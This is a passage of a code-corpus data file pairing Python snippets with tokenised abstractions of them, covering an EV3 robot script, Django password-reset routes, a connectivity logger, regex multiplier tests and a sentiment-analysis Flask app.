"<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef find_edge(sensors, pos, dir):\n x, row = pos\n closer = []\n for sensor in sensors.keys():\n if manhat(pos, sensor) <= sensors[sensor]:\n closer.append(sensor)\n if dir > 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max(\n [x for x, y in closer])][0]\n elif dir < 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min(\n [x for x, y in closer])][0]\n if dir > 0:\n if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n elif dir < 0:\n if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n else:\n raise Exception(\"This shouldn't be happening. We've gone too far!\")\n\n\n<function token>\n\n\ndef part_two(data_in):\n s = z3.Solver()\n x = z3.Int('x')\n y = z3.Int('y')\n s.add(0 <= x)\n s.add(x <= 4000000)\n s.add(0 <= y)\n s.add(y <= 4000000)\n\n def z3_abs(x):\n return z3.If(x >= 0, x, -x)\n for line in data:\n sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]\n m = abs(sx - bx) + abs(sy - by)\n s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)\n s.check()\n outx, outy = s.model()[x].as_long(), s.model()[y].as_long()\n return outx * 4000000 + outy\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef find_edge(sensors, pos, dir):\n x, row = pos\n closer = []\n for sensor in sensors.keys():\n if manhat(pos, sensor) <= sensors[sensor]:\n closer.append(sensor)\n if dir > 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max(\n [x for x, y in closer])][0]\n elif dir < 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min(\n [x for x, y in closer])][0]\n if dir > 0:\n if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n elif dir < 0:\n if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n else:\n raise Exception(\"This shouldn't be happening. We've gone too far!\")\n\n\n<function token>\n<function token>\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<assignment token>\n<code token>\n"
] | false |
9,982 |
f6ebc3c37a69e5ec49d91609db394eec4a94cedf
|
#!/usr/bin/env pybricks-micropython
from pybricks import ev3brick as brick
from pybricks.ev3devices import (Motor, TouchSensor, ColorSensor,
InfraredSensor, UltrasonicSensor, GyroSensor)
from pybricks.parameters import (Port, Stop, Direction, Button, Color,
SoundFile, ImageFile, Align)
from pybricks.tools import print, wait, StopWatch
from pybricks.robotics import DriveBase
# Write your program here
motor_a = Motor(Port.A)
brick.sound.beep()
wait(1000)
motor_a.run_target(500, 720) #500 degrees per second, 90 target angle
wait(1000)
brick.sound.beep(1000, 500) #frequency, duration
|
[
"#!/usr/bin/env pybricks-micropython\n\nfrom pybricks import ev3brick as brick\nfrom pybricks.ev3devices import (Motor, TouchSensor, ColorSensor,\n InfraredSensor, UltrasonicSensor, GyroSensor)\nfrom pybricks.parameters import (Port, Stop, Direction, Button, Color,\n SoundFile, ImageFile, Align)\nfrom pybricks.tools import print, wait, StopWatch\nfrom pybricks.robotics import DriveBase\n\n# Write your program here\nmotor_a = Motor(Port.A)\n\nbrick.sound.beep()\nwait(1000)\nmotor_a.run_target(500, 720) #500 degrees per second, 90 target angle\nwait(1000)\nbrick.sound.beep(1000, 500) #frequency, duration\n\n\n\n",
"from pybricks import ev3brick as brick\nfrom pybricks.ev3devices import Motor, TouchSensor, ColorSensor, InfraredSensor, UltrasonicSensor, GyroSensor\nfrom pybricks.parameters import Port, Stop, Direction, Button, Color, SoundFile, ImageFile, Align\nfrom pybricks.tools import print, wait, StopWatch\nfrom pybricks.robotics import DriveBase\nmotor_a = Motor(Port.A)\nbrick.sound.beep()\nwait(1000)\nmotor_a.run_target(500, 720)\nwait(1000)\nbrick.sound.beep(1000, 500)\n",
"<import token>\nmotor_a = Motor(Port.A)\nbrick.sound.beep()\nwait(1000)\nmotor_a.run_target(500, 720)\nwait(1000)\nbrick.sound.beep(1000, 500)\n",
"<import token>\n<assignment token>\nbrick.sound.beep()\nwait(1000)\nmotor_a.run_target(500, 720)\nwait(1000)\nbrick.sound.beep(1000, 500)\n",
"<import token>\n<assignment token>\n<code token>\n"
] | false |
9,983 |
7e35c35c8ef443155c45bdbff4ce9ad07b99f144
|
from django.urls import path
from . import views
from django.contrib.auth import views as auth_views
urlpatterns = [
path('',views.index,name='index'),
path('sign',views.sign,name='sign'),
# path('password_reset/',auth_views.PasswordResetView.as_view(),name='password_reset'),
# path('password_reset/done/',auth_views.PasswordResetDoneView.as_view(),name='password_reset_done'),
# path('reset/<uidb64>/<token>/',auth_views.PasswordResetConfirmView.as_view(),name='password_reset_confirm'),
# path('reset/done/',auth_views.PasswordResetCompleteView.as_view(),name='password_reset_complete'),
# path(
# 'change-password',
# auth_views.PasswordChangeView.as_view(
# template_name='common/change-password.html',
# success_url='/'
# ),
# name='change-password'
# ),
path('reset_password/',
auth_views.PasswordResetView.as_view(template_name="password_reset.html"),
name="password_reset" ),
path('reset_password_sent/',
auth_views.PasswordResetDoneView.as_view(template_name="password_reset_sent.html"),
name='password_reset_done'),
path('reset/<uidb64>/<token>/',
auth_views.PasswordResetConfirmView.as_view(template_name="password_reset_form.html"),
name='password_reset_confirm'),
path('reset_password_complete/',
auth_views.PasswordResetCompleteView.as_view(template_name="password_reset_done.html"),
name='password_reset_complete'),
]
|
[
"from django.urls import path\nfrom . import views\nfrom django.contrib.auth import views as auth_views \n\nurlpatterns = [\n path('',views.index,name='index'),\n path('sign',views.sign,name='sign'),\n # path('password_reset/',auth_views.PasswordResetView.as_view(),name='password_reset'),\n # path('password_reset/done/',auth_views.PasswordResetDoneView.as_view(),name='password_reset_done'),\n # path('reset/<uidb64>/<token>/',auth_views.PasswordResetConfirmView.as_view(),name='password_reset_confirm'),\n # path('reset/done/',auth_views.PasswordResetCompleteView.as_view(),name='password_reset_complete'),\n\n # path(\n # 'change-password',\n # auth_views.PasswordChangeView.as_view(\n # template_name='common/change-password.html',\n # success_url='/'\n # ),\n # name='change-password'\n # ),\n\n path('reset_password/',\n auth_views.PasswordResetView.as_view(template_name=\"password_reset.html\"),\n name=\"password_reset\" ),\n \n path('reset_password_sent/',\n auth_views.PasswordResetDoneView.as_view(template_name=\"password_reset_sent.html\"),\n name='password_reset_done'),\n\n path('reset/<uidb64>/<token>/',\n auth_views.PasswordResetConfirmView.as_view(template_name=\"password_reset_form.html\"),\n name='password_reset_confirm'),\n \n path('reset_password_complete/',\n auth_views.PasswordResetCompleteView.as_view(template_name=\"password_reset_done.html\"),\n name='password_reset_complete'),\n\n\n \n\n]",
"from django.urls import path\nfrom . import views\nfrom django.contrib.auth import views as auth_views\nurlpatterns = [path('', views.index, name='index'), path('sign', views.sign,\n name='sign'), path('reset_password/', auth_views.PasswordResetView.\n as_view(template_name='password_reset.html'), name='password_reset'),\n path('reset_password_sent/', auth_views.PasswordResetDoneView.as_view(\n template_name='password_reset_sent.html'), name='password_reset_done'),\n path('reset/<uidb64>/<token>/', auth_views.PasswordResetConfirmView.\n as_view(template_name='password_reset_form.html'), name=\n 'password_reset_confirm'), path('reset_password_complete/', auth_views.\n PasswordResetCompleteView.as_view(template_name=\n 'password_reset_done.html'), name='password_reset_complete')]\n",
"<import token>\nurlpatterns = [path('', views.index, name='index'), path('sign', views.sign,\n name='sign'), path('reset_password/', auth_views.PasswordResetView.\n as_view(template_name='password_reset.html'), name='password_reset'),\n path('reset_password_sent/', auth_views.PasswordResetDoneView.as_view(\n template_name='password_reset_sent.html'), name='password_reset_done'),\n path('reset/<uidb64>/<token>/', auth_views.PasswordResetConfirmView.\n as_view(template_name='password_reset_form.html'), name=\n 'password_reset_confirm'), path('reset_password_complete/', auth_views.\n PasswordResetCompleteView.as_view(template_name=\n 'password_reset_done.html'), name='password_reset_complete')]\n",
"<import token>\n<assignment token>\n"
] | false |
9,984 |
119ebdf4c686c52e052d3926f962cefdc93681cd
|
def my_filter(L, num):
return [x for x in L if x % num]
print 'my_filter', my_filter([1, 2, 4, 5, 7], 2)
def my_lists(L):
return [range(1, x+1) for x in L]
print 'my_lists', my_lists([1, 2, 4])
print 'my_lists', my_lists([0])
def my_function_composition(f, g):
return {f_key: g[f_val] for f_key, f_val in f.items()}
print 'my_function_composition', my_function_composition({0:'a', 1:'b'}, {'a':'apple', 'b':'banana'})
def mySum(L):
current = 0
for x in L:
current = current + x
return current
def myProduct(L):
current = 1.0
for x in L:
current = current * x
return current
def myMin(L):
current = 0
for x in L:
current = x if x < current else current
return current
def myConcat(L):
current = ''
for x in L:
current = current + x
return current
def myUnion(L):
current = set()
for x in L:
current = current.union(x)
return current
print 'myUnion', myUnion([set([1, 2, 3]), set(['F', 'G', 'H']), set([3, 7, 9])])
|
[
"def my_filter(L, num):\n\treturn [x for x in L if x % num]\n\nprint 'my_filter', my_filter([1, 2, 4, 5, 7], 2)\n\n\ndef my_lists(L):\n\treturn [range(1, x+1) for x in L]\n\nprint 'my_lists', my_lists([1, 2, 4])\nprint 'my_lists', my_lists([0])\n\n\ndef my_function_composition(f, g):\n\treturn {f_key: g[f_val] for f_key, f_val in f.items()}\n\nprint 'my_function_composition', my_function_composition({0:'a', 1:'b'}, {'a':'apple', 'b':'banana'})\n\n\ndef mySum(L):\n\tcurrent = 0\n\tfor x in L:\n\t\tcurrent = current + x\n\treturn current\n\ndef myProduct(L):\n\tcurrent = 1.0\n\tfor x in L:\n\t\tcurrent = current * x\n\treturn current\n\ndef myMin(L):\n\tcurrent = 0\n\tfor x in L:\n\t\tcurrent = x if x < current else current\n\treturn current\n\ndef myConcat(L):\n\tcurrent = ''\n\tfor x in L:\n\t\tcurrent = current + x\n\treturn current\n\ndef myUnion(L):\n\tcurrent = set()\n\tfor x in L:\n\t\tcurrent = current.union(x)\n\treturn current\n\nprint 'myUnion', myUnion([set([1, 2, 3]), set(['F', 'G', 'H']), set([3, 7, 9])])\n"
] | true |
9,985 |
f229f525c610d9925c9300ef22208f9926d6cb69
|
#!python3
import requests
import time
log_file = open("logfile.txt", "w")
def generateLog(ctime1, request_obj):
log_file.write(ctime1 + "\t")
log_file.write("Status code: " + str(request_obj.status_code))
log_file.write("\n")
def is_internet():
"""Internet function"""
print(time.ctime())
current_time = time.ctime()
try:
r = requests.get("https://www.google.com/") # sends requests to google.com
if r.status_code == 200: # if ok, prints msg
print("Connection established successfully!")
else: # if not ok, prints msg
print("Error, try again")
# generateLog("logfile", current _time, r)
except ConnectionError: # if this error is enountered, it will print this message
print(f"No internet connection, time: {time.ctime()}")
finally:
print("Generating log file...")
# time.sleep(0.25)
generateLog(current_time, r) # calls the generateLog function
print("Exiting the program...")
t = 0
while t < 30:
try:
is_internet()
# time.sleep(10)
except KeyboardInterrupt:
print("Keyboard Interrupt error ")
break
finally:
t += 1
log_file.close()
input()
|
[
"#!python3\r\nimport requests\r\nimport time\r\n\r\nlog_file = open(\"logfile.txt\", \"w\")\r\n\r\n\r\ndef generateLog(ctime1, request_obj):\r\n log_file.write(ctime1 + \"\\t\")\r\n log_file.write(\"Status code: \" + str(request_obj.status_code))\r\n log_file.write(\"\\n\")\r\n\r\n\r\ndef is_internet():\r\n \"\"\"Internet function\"\"\"\r\n print(time.ctime())\r\n current_time = time.ctime()\r\n try:\r\n r = requests.get(\"https://www.google.com/\") # sends requests to google.com\r\n if r.status_code == 200: # if ok, prints msg\r\n print(\"Connection established successfully!\")\r\n else: # if not ok, prints msg\r\n print(\"Error, try again\")\r\n # generateLog(\"logfile\", current _time, r)\r\n except ConnectionError: # if this error is enountered, it will print this message\r\n print(f\"No internet connection, time: {time.ctime()}\")\r\n finally:\r\n print(\"Generating log file...\")\r\n # time.sleep(0.25)\r\n generateLog(current_time, r) # calls the generateLog function\r\n print(\"Exiting the program...\")\r\n\r\n\r\nt = 0\r\nwhile t < 30:\r\n try:\r\n is_internet()\r\n # time.sleep(10)\r\n except KeyboardInterrupt:\r\n print(\"Keyboard Interrupt error \")\r\n break\r\n finally:\r\n t += 1\r\nlog_file.close()\r\ninput()\r\n",
"import requests\nimport time\nlog_file = open('logfile.txt', 'w')\n\n\ndef generateLog(ctime1, request_obj):\n log_file.write(ctime1 + '\\t')\n log_file.write('Status code: ' + str(request_obj.status_code))\n log_file.write('\\n')\n\n\ndef is_internet():\n \"\"\"Internet function\"\"\"\n print(time.ctime())\n current_time = time.ctime()\n try:\n r = requests.get('https://www.google.com/')\n if r.status_code == 200:\n print('Connection established successfully!')\n else:\n print('Error, try again')\n except ConnectionError:\n print(f'No internet connection, time: {time.ctime()}')\n finally:\n print('Generating log file...')\n generateLog(current_time, r)\n print('Exiting the program...')\n\n\nt = 0\nwhile t < 30:\n try:\n is_internet()\n except KeyboardInterrupt:\n print('Keyboard Interrupt error ')\n break\n finally:\n t += 1\nlog_file.close()\ninput()\n",
"<import token>\nlog_file = open('logfile.txt', 'w')\n\n\ndef generateLog(ctime1, request_obj):\n log_file.write(ctime1 + '\\t')\n log_file.write('Status code: ' + str(request_obj.status_code))\n log_file.write('\\n')\n\n\ndef is_internet():\n \"\"\"Internet function\"\"\"\n print(time.ctime())\n current_time = time.ctime()\n try:\n r = requests.get('https://www.google.com/')\n if r.status_code == 200:\n print('Connection established successfully!')\n else:\n print('Error, try again')\n except ConnectionError:\n print(f'No internet connection, time: {time.ctime()}')\n finally:\n print('Generating log file...')\n generateLog(current_time, r)\n print('Exiting the program...')\n\n\nt = 0\nwhile t < 30:\n try:\n is_internet()\n except KeyboardInterrupt:\n print('Keyboard Interrupt error ')\n break\n finally:\n t += 1\nlog_file.close()\ninput()\n",
"<import token>\n<assignment token>\n\n\ndef generateLog(ctime1, request_obj):\n log_file.write(ctime1 + '\\t')\n log_file.write('Status code: ' + str(request_obj.status_code))\n log_file.write('\\n')\n\n\ndef is_internet():\n \"\"\"Internet function\"\"\"\n print(time.ctime())\n current_time = time.ctime()\n try:\n r = requests.get('https://www.google.com/')\n if r.status_code == 200:\n print('Connection established successfully!')\n else:\n print('Error, try again')\n except ConnectionError:\n print(f'No internet connection, time: {time.ctime()}')\n finally:\n print('Generating log file...')\n generateLog(current_time, r)\n print('Exiting the program...')\n\n\n<assignment token>\nwhile t < 30:\n try:\n is_internet()\n except KeyboardInterrupt:\n print('Keyboard Interrupt error ')\n break\n finally:\n t += 1\nlog_file.close()\ninput()\n",
"<import token>\n<assignment token>\n\n\ndef generateLog(ctime1, request_obj):\n log_file.write(ctime1 + '\\t')\n log_file.write('Status code: ' + str(request_obj.status_code))\n log_file.write('\\n')\n\n\ndef is_internet():\n \"\"\"Internet function\"\"\"\n print(time.ctime())\n current_time = time.ctime()\n try:\n r = requests.get('https://www.google.com/')\n if r.status_code == 200:\n print('Connection established successfully!')\n else:\n print('Error, try again')\n except ConnectionError:\n print(f'No internet connection, time: {time.ctime()}')\n finally:\n print('Generating log file...')\n generateLog(current_time, r)\n print('Exiting the program...')\n\n\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n\n\ndef generateLog(ctime1, request_obj):\n log_file.write(ctime1 + '\\t')\n log_file.write('Status code: ' + str(request_obj.status_code))\n log_file.write('\\n')\n\n\n<function token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n"
] | false |
9,986 |
5a7e535f2ae585f862cc792dab77f2fe0584fddc
|
import unittest
from pattern.multiplier import Multiplier, FixedWidth, Range
from pattern.multiplier import WHATEVER, ONE_OR_MORE
class TestMultipler(unittest.TestCase):
def test__create__fixed_width(self):
self.assertIsInstance(Multiplier.create(23), FixedWidth)
def test__create__range(self):
self.assertIsInstance(Multiplier.create((23, 27)), Range)
def test__create__multiplier(self):
self.assertEqual(Multiplier.create(WHATEVER), WHATEVER)
self.assertEqual(Multiplier.create(ONE_OR_MORE), ONE_OR_MORE)
def test__create__bad_argument(self):
self.assertRaises(ValueError, Multiplier.create, '1234')
class TestWhatever(unittest.TestCase):
def test_compile(self):
self.assertEqual(WHATEVER.compile(), '*')
class TestOneOrMore(unittest.TestCase):
def test_compile(self):
self.assertEqual(ONE_OR_MORE.compile(), '+')
class TestFixedWidth(unittest.TestCase):
def test_compile(self):
self.assertEqual(FixedWidth(23).compile(), '{23}')
class TestRange(unittest.TestCase):
def test_compile(self):
self.assertEqual(Range((23, 27)).compile(), '{23,27}')
|
[
"import unittest\nfrom pattern.multiplier import Multiplier, FixedWidth, Range\nfrom pattern.multiplier import WHATEVER, ONE_OR_MORE\n\n\nclass TestMultipler(unittest.TestCase):\n def test__create__fixed_width(self):\n self.assertIsInstance(Multiplier.create(23), FixedWidth)\n\n def test__create__range(self):\n self.assertIsInstance(Multiplier.create((23, 27)), Range)\n\n def test__create__multiplier(self):\n self.assertEqual(Multiplier.create(WHATEVER), WHATEVER)\n self.assertEqual(Multiplier.create(ONE_OR_MORE), ONE_OR_MORE)\n\n def test__create__bad_argument(self):\n self.assertRaises(ValueError, Multiplier.create, '1234')\n\n\nclass TestWhatever(unittest.TestCase):\n def test_compile(self):\n self.assertEqual(WHATEVER.compile(), '*')\n\n\nclass TestOneOrMore(unittest.TestCase):\n def test_compile(self):\n self.assertEqual(ONE_OR_MORE.compile(), '+')\n\n\nclass TestFixedWidth(unittest.TestCase):\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n\n",
"import unittest\nfrom pattern.multiplier import Multiplier, FixedWidth, Range\nfrom pattern.multiplier import WHATEVER, ONE_OR_MORE\n\n\nclass TestMultipler(unittest.TestCase):\n\n def test__create__fixed_width(self):\n self.assertIsInstance(Multiplier.create(23), FixedWidth)\n\n def test__create__range(self):\n self.assertIsInstance(Multiplier.create((23, 27)), Range)\n\n def test__create__multiplier(self):\n self.assertEqual(Multiplier.create(WHATEVER), WHATEVER)\n self.assertEqual(Multiplier.create(ONE_OR_MORE), ONE_OR_MORE)\n\n def test__create__bad_argument(self):\n self.assertRaises(ValueError, Multiplier.create, '1234')\n\n\nclass TestWhatever(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(WHATEVER.compile(), '*')\n\n\nclass TestOneOrMore(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(ONE_OR_MORE.compile(), '+')\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n",
"<import token>\n\n\nclass TestMultipler(unittest.TestCase):\n\n def test__create__fixed_width(self):\n self.assertIsInstance(Multiplier.create(23), FixedWidth)\n\n def test__create__range(self):\n self.assertIsInstance(Multiplier.create((23, 27)), Range)\n\n def test__create__multiplier(self):\n self.assertEqual(Multiplier.create(WHATEVER), WHATEVER)\n self.assertEqual(Multiplier.create(ONE_OR_MORE), ONE_OR_MORE)\n\n def test__create__bad_argument(self):\n self.assertRaises(ValueError, Multiplier.create, '1234')\n\n\nclass TestWhatever(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(WHATEVER.compile(), '*')\n\n\nclass TestOneOrMore(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(ONE_OR_MORE.compile(), '+')\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n",
"<import token>\n\n\nclass TestMultipler(unittest.TestCase):\n\n def test__create__fixed_width(self):\n self.assertIsInstance(Multiplier.create(23), FixedWidth)\n\n def test__create__range(self):\n self.assertIsInstance(Multiplier.create((23, 27)), Range)\n\n def test__create__multiplier(self):\n self.assertEqual(Multiplier.create(WHATEVER), WHATEVER)\n self.assertEqual(Multiplier.create(ONE_OR_MORE), ONE_OR_MORE)\n <function token>\n\n\nclass TestWhatever(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(WHATEVER.compile(), '*')\n\n\nclass TestOneOrMore(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(ONE_OR_MORE.compile(), '+')\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n",
"<import token>\n\n\nclass TestMultipler(unittest.TestCase):\n <function token>\n\n def test__create__range(self):\n self.assertIsInstance(Multiplier.create((23, 27)), Range)\n\n def test__create__multiplier(self):\n self.assertEqual(Multiplier.create(WHATEVER), WHATEVER)\n self.assertEqual(Multiplier.create(ONE_OR_MORE), ONE_OR_MORE)\n <function token>\n\n\nclass TestWhatever(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(WHATEVER.compile(), '*')\n\n\nclass TestOneOrMore(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(ONE_OR_MORE.compile(), '+')\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n",
"<import token>\n\n\nclass TestMultipler(unittest.TestCase):\n <function token>\n\n def test__create__range(self):\n self.assertIsInstance(Multiplier.create((23, 27)), Range)\n <function token>\n <function token>\n\n\nclass TestWhatever(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(WHATEVER.compile(), '*')\n\n\nclass TestOneOrMore(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(ONE_OR_MORE.compile(), '+')\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n",
"<import token>\n\n\nclass TestMultipler(unittest.TestCase):\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass TestWhatever(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(WHATEVER.compile(), '*')\n\n\nclass TestOneOrMore(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(ONE_OR_MORE.compile(), '+')\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n",
"<import token>\n<class token>\n\n\nclass TestWhatever(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(WHATEVER.compile(), '*')\n\n\nclass TestOneOrMore(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(ONE_OR_MORE.compile(), '+')\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n",
"<import token>\n<class token>\n\n\nclass TestWhatever(unittest.TestCase):\n <function token>\n\n\nclass TestOneOrMore(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(ONE_OR_MORE.compile(), '+')\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n",
"<import token>\n<class token>\n<class token>\n\n\nclass TestOneOrMore(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(ONE_OR_MORE.compile(), '+')\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n",
"<import token>\n<class token>\n<class token>\n\n\nclass TestOneOrMore(unittest.TestCase):\n <function token>\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n",
"<import token>\n<class token>\n<class token>\n<class token>\n\n\nclass TestFixedWidth(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(FixedWidth(23).compile(), '{23}')\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n",
"<import token>\n<class token>\n<class token>\n<class token>\n\n\nclass TestFixedWidth(unittest.TestCase):\n <function token>\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n",
"<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass TestRange(unittest.TestCase):\n\n def test_compile(self):\n self.assertEqual(Range((23, 27)).compile(), '{23,27}')\n",
"<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass TestRange(unittest.TestCase):\n <function token>\n",
"<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n"
] | false |
9,987 |
4f06eddfac38574a0ae3bdd0ea2ac81291380166
|
from .simulator import SpatialSIRSimulator as Simulator
from .util import Prior
from .util import PriorExperiment
from .util import Truth
from .util import log_likelihood
|
[
"from .simulator import SpatialSIRSimulator as Simulator\nfrom .util import Prior\nfrom .util import PriorExperiment\nfrom .util import Truth\nfrom .util import log_likelihood\n",
"<import token>\n"
] | false |
9,988 |
2d7f7cb66480ecb8335949687854554679026959
|
import spacy
from vaderSentiment import vaderSentiment
from flask import Flask, render_template, request
app = Flask(__name__)
@app.route('/')
def hello():
return render_template('index.html')
@app.route('/',methods=['POST'])
def func():
st=request.form["review"]
if(st==''):
return render_template('index.html')
english = spacy.load("en_core_web_sm")
result = english(st)
sentences = [str(s) for s in result.sents]
analyzer = vaderSentiment.SentimentIntensityAnalyzer()
sentiment = [analyzer.polarity_scores(str(s)) for s in sentences]
if(sentiment[0]['compound'] >= 0.05) :
sent="Positive "
emoji=128512
address=' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg'
elif(sentiment[0]['compound'] <= - 0.05) :
sent="Negative "
emoji=128577
address='https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg '
else :
sent="Neutral "
emoji=128528
address='https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg '
return render_template('output.html', sentence=st, sent=sent, emoji=emoji, address=address)
@app.route('/fu.html')
def result():
return render_template('fu.html')
@app.route('/new.html')
def new():
return render_template('new.html')
if __name__ == '__main__':
app.run(debug=True)
|
[
"import spacy\nfrom vaderSentiment import vaderSentiment\nfrom flask import Flask, render_template, request\napp = Flask(__name__)\n\[email protected]('/')\ndef hello():\n return render_template('index.html')\n \[email protected]('/',methods=['POST'])\ndef func():\n st=request.form[\"review\"]\n if(st==''):\n return render_template('index.html')\n english = spacy.load(\"en_core_web_sm\")\n result = english(st)\n sentences = [str(s) for s in result.sents]\n analyzer = vaderSentiment.SentimentIntensityAnalyzer()\n sentiment = [analyzer.polarity_scores(str(s)) for s in sentences]\n \n \n if(sentiment[0]['compound'] >= 0.05) : \n sent=\"Positive \" \n emoji=128512\n address=' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg'\n \n elif(sentiment[0]['compound'] <= - 0.05) : \n sent=\"Negative \"\n emoji=128577\n address='https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg '\n \n else :\n sent=\"Neutral \"\n emoji=128528\n address='https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg '\n \n \n return render_template('output.html', sentence=st, sent=sent, emoji=emoji, address=address)\n \n\[email protected]('/fu.html')\ndef result():\n return render_template('fu.html')\n\[email protected]('/new.html')\ndef new():\n return render_template('new.html')\n\nif __name__ == '__main__':\n app.run(debug=True)\n",
